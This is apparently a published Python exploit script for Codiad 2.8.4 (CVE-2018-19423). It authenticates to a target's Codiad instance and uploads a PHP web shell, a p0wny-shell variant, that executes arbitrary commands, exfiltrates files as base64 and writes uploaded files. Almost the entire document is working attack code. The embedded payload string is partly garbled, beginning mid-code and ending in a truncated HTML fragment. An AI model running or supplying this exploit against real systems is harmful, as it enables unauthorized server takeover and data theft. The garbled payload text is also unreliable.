# Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated) (3)
# Date: 24.05.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: http://codiad.com/
# Software Link: https://github.com/Codiad/Codiad/releases/tag/v.2.8.4
# Version: 2.8.4
# Tested on Xubuntu 20.04
# CVE: CVE-2018-19423
'''
Description:
Codiad 2.8.4 allows remote authenticated administrators to execute arbitrary code by uploading an executable file.
'''
'''
Import required modules:
'''
import requests
import json
import time
import sys
import urllib.parse
'''
User Input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
username = sys.argv[3]
password = sys.argv[4]
codiadpath = input('Please input the path of Codiad( for example: / ): ')
projectname = input('Please input the name of the actual project: ')
'''
Get cookie
'''
session = requests.Session()
link = 'http://' + target_ip + ':' + target_port + codiadpath
response = session.get(link)
cookies_session = session.cookies.get_dict()
cookie = json.dumps(cookies_session)
cookie = cookie.replace('"}','')
cookie = cookie.replace('{"', '')
cookie = cookie.replace('"', '')
cookie = cookie.replace(" ", '')
cookie = cookie.replace(":", '=')
'''
Authentication:
'''
# Compute Content-Length:
base_content_len = 45
username_encoded = urllib.parse.quote(username, safe='')
username_encoded_len = len(username_encoded.encode('utf-8'))
password_encoded = urllib.parse.quote(password, safe='')
password_encoded_len = len(password_encoded.encode('utf-8'))
content_len = base_content_len + username_encoded_len + password_encoded_len
# Header:
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Accept': '*/*',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Content-Length': str(content_len),
'Origin': 'http://' + target_ip + ':' + target_port,
'Connection': 'close',
'Referer': 'http://' + target_ip + ':' + target_port + '/',
'Cookie': cookie
}
# Body:
body = {
'username': username,
'password': password,
'theme': 'default',
'language': 'en'
}
# Post authentication request:
link_base = 'http://' + target_ip + ':' + target_port + codiadpath
link_auth = link_base + 'components/user/controller.php?action=authenticate'
print('')
print('Posting authentication request: ')
auth = requests.post(link_auth, headers=header, data=body)
print('Response: ')
print(auth.text)
time.sleep(2)
'''
Upload Webshell:
'''
# Construct Header:
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
"Content-Type": "multipart/form-data; boundary=---------------------------289777152427948045812862014674",
'Connection': 'close',
'Cookie': cookie,
'Upgrade-Insecure-Requests': '1'
}
# Construct Shell Payload: https://github.com/flozz/p0wny-shell
data = "\r\n\r\n\r\n-----------------------------289777152427948045812862014674\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n\r\n\r\n&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n chdir($match[1]);\n } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n return featureDownload($match[1]);\n } else {\n chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n \"stdout\" => $stdout,\n \"cwd\" => getcwd()\n );\n}\n\nfunction featurePwd() {\n return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c $fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\", shell_exec($cmd));\n return array(\n 'files' => $files,\n );\n}\n\nfunction featureDownload($filePath) {\n $file = @file_get_contents($filePath);\n if ($file === FALSE) {\n return array(\n 'stdout' => array('File not found / no read permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return array(\n 'name' => basename($filePath),\n 'file' => base64_encode($file)\n );\n }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f === FALSE) {\n return array(\n 'stdout' => array('Invalid path / no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n fwrite($f, base64_decode($file));\n fclose($f);\n return array(\n 'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n $response = NULL;\n\n switch ($_GET[\"feature\"]) {\n case \"shell\":\n $cmd = $_POST['cmd'];\n if (!preg_match('/2>/', $cmd)) {\n $cmd .= ' 2>&1';\n }\n $response = featureShell($cmd, $_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response = featurePwd();\n break;\n case \"hint\":\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n break;\n case 'upload':\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n }\n\n header(\"Content-Type: application/json\");\n echo json_encode($response);\n die();\n}\n\n?>\n\n\n\n \n \n p0wny@shell:~#\n \n